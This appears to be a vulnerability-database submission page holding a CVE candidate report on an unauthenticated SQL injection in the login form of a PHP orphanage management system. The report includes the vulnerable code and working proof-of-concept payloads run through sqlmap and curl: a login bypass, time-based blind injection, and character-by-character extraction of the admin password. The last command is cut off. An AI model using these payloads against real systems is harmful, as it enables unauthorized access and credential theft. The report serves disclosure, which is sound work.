| Titel | faysalridoy Orphanage-Management-System V1.0 SQL Injection |
|---|
| Beschreibung | # faysalridoy / Orphanage-Management-System — Unauthenticated SQL Injection CVE Candidate Report
- Audit date: 2026-11-06
- Target repository: <https://github.com/faysalridoy/Orphanage-Management-System> (created 2021-06-16, master, no tags, treated as V1.0)
- Stack: PHP + MySQL/MariaDB (`mysqli`), bundled `orp.sql`
- Test environment: local lab PHP 5.5.38 + MariaDB 10.5.29, **all PoCs reproduced live**
- Verdict: **Unauthenticated (no cookie/session) SQL injection — boolean-based blind + time-based blind + authentication bypass + cross-table data extraction**. CVE dedup check clean.
---
## 1. CVE Deduplication (verified 2026-11-06)
| Check | Query | Result |
| ----------------------------------------- | ------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- |
| NVD keyword `Orphanage Management System` | `keywordSearch=Orphanage%20Management%20System` | **0** |
| NVD keyword `orphanage` (broad fallback) | `keywordSearch=orphanage` | 1 hit (CVE-2026-98448, Linux kernel XFS `orphanage` inode — **unrelated**) |
| CIRCL vendor browse | `cve.circl.lu/api/browse/faysalridoy` | `[]` (empty) |
| CIRCL exact search | `cve.circl.lu/api/search/faysalridoy/Orphanage-Management-System` | `total_count: 0` |
| VulDB / web | Web search `Orphanage-Management-System faysalridoy vuldb CVE` | Only other authors' orphanage projects (rohan-sachan / CaptainVish / Abdullahelbarrany); **no record for this project** |
| Same-name cross-check | GitHub API confirms `faysalridoy/Orphanage-Management-System` is an independent repo | Two other orphanage projects in the candidate set (Dipali-Patil / prannayreddy) are **different codebases** — not same-source duplicates |
| Prior reports in this workspace | `grep -ril orphanage *.md` | 0 hits |
**Conclusion: clean, safe to submit.**
---
## 2. Submission Fields
| Field | Value |
| ------------- | ------------------------------------------------------------------------- |
| Vendor | `faysalridoy` |
| Product | `Orphanage-Management-System` |
| Version | 1.0 (master snapshot 2021-06-16, no tags) |
| Software Link | <https://github.com/faysalridoy/Orphanage-Management-System> |
| Environment | PHP / MySQL (XAMPP-style deployment) |
| CWE | CWE-89 (SQL Injection), compounded with CWE-287 (Improper Authentication) |
| CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N` = **8.6** |
---
## 3. Vulnerability Details
### Primary: unauthenticated SQL injection in `userLogin.php` (`userid` parameter)
- **File**: `userLogin.php:124-126`
- **Parameter**: POST `userid` (POST `password` shares the same statement/root cause)
- **Login required**: No (this is the login page itself)
```php
// userLogin.php:124-126
$adminid = $_POST['userid'];
$password = $_POST['password'];
$query= "SELECT * FROM user WHERE userid='{$adminid}' AND password='{$password}'" ;
$result = mysqli_query($conn, $query);
$number_of_user= mysqli_num_rows($result);
```
Root cause: `$_POST` values are interpolated directly into the SQL string — no prepared statements, no escaping (no `mysqli_real_escape_string` / `intval`).
### Secondary injection points with the same root cause (list together or as affected-surface supplement)
| File | Line | Statement | Parameters |
| ------------------ | ------------ | -------------------------------------------------- | ----------------------------------------------------------------------------------- |
| `addDonation.php` | 170 | INSERT INTO donation (all 10 columns concatenated) | POST `donarId/donarName/donarAge/dob/sex/dropdown/donateAmount/contactInfo/address` |
| `againDonate.php` | 118, 126 | SELECT + UPDATE donation | POST `donarId` |
| `createOrphan.php` | 156 | INSERT INTO orphan (all 8 columns concatenated) | POST `orphanId/orphanName/...` |
| `editOrphan.php` | 92, 163, 178 | SELECT/UPDATE orphan WHERE orphanid | GET/POST `id` |
| `userReg.php` | 125 | INSERT INTO user | POST `userid/email/password` |
| `adminLogin.php` | 107-110 | Fetches whole table, compares in PHP | Not a SQLi (checked, to avoid false positives) |
---
## 4. PoC (all reproduced live)
Environment: `php -S 127.0.0.1:8890 -t Orphanage-Management-System-main`, MariaDB loaded with `orp.sql`. Boolean oracle: presence/absence of the `No user found` text (the page outputs HTML before executing PHP, so the successful-login branch does not print that text).
### 0) sqlmap live run (2026-11-05)
```bash
sqlmap -u "http://127.0.0.1:8890/userLogin.php" \
--data="userid=1&password=x&submit=Log in" \
-p userid --dbms=mysql --level=3 --risk=2 --batch --dbs
```
Observed: with only 82 HTTP requests sqlmap confirmed the POST parameter `userid` is injectable via both **boolean-based blind** (`AND boolean-based blind - WHERE or HAVING clause (subquery - comment)`) and **time-based blind** (`MySQL >= 5.0.12 AND time-based blind (query SLEEP)`), and enumerated all databases (including the target `orp`). Screenshot:

### 1) Authentication bypass (CWE-287 effect)
```bash
# TRUE payload -> enters the successful-login branch (no "No user found", plus header redirect notice)
curl -s -X POST "http://<host>/userLogin.php" \
--data-urlencode "userid=x' OR '1'='1'#" \
--data-urlencode "password=whatever" --data "submit=1" | grep -c "No user found"
# Observed: 0
# FALSE control
curl -s -X POST "http://127.0.0.1:8890/userLogin.php" \
--data-urlencode "userid=x' OR '1'='2'#" \
--data-urlencode "password=whatever" --data "submit=1" | grep -c "No user found"
# Observed: 1
```
> The payload must end with `'#` to comment out the trailing `AND password='...'` (AND binds tighter than OR, otherwise the expression is always false — a key point established by live testing).
### 2) Time-based blind
```bash
curl -s -o /dev/null -w "time_total=%{time_total}\n" -X POST "http://127.0.0.1:8890/userLogin.php" \
--data-urlencode "userid=' OR SLEEP(2)#" --data-urlencode "password=x" --data "submit=1"
# Observed: time_total=12.054191 (user table 6 rows x SLEEP(2))
# Control (normal request)
# Observed: time_total=0.007182
```
### 3) Cross-table data extraction (boolean blind, character by character)
```bash
# Is the row count of the admin table 1 (TRUE branch)
curl -s -X POST "http://127.0.0.1:8890/userLogin.php" \
--data-urlencode "userid=x' OR (SELECT COUNT(*) FROM orp.admin)='1'#" \
--data-urlencode "password=x" --data "submit=1" | grep -c "No user found"
# Observed: 0 (TRUE)
# Is the first char of admin(userid=1) password '1' (orp.sql stores admin password in plaintext: 12345)
curl -s -X POST "http://127.0.0.1:8890/userLogin.php" \
--data-urlencode "userid=x' OR (SELECT substring(password,1,1) FROM admin WHERE userid='1')='1'#" \
--data-urlencod |
|---|
| Quelle | ⚠️ https://github.com/13531282223/CVE/issues/1 |
|---|
| Benutzer | 13353072304 (UID 102794) |
|---|
| Einreichung | 06.11.2026 03:05 (vor 27 Tagen) |
|---|
| Moderieren | 02.12.2026 18:19 (27 days later) |
|---|
| Status | Duplikat |
|---|
| VulDB Eintrag | 447906 [faysalridoy Orphanage-Management-System User Login userLogin.php userid SQL Injection] |
|---|
| Punkte | 0 |
|---|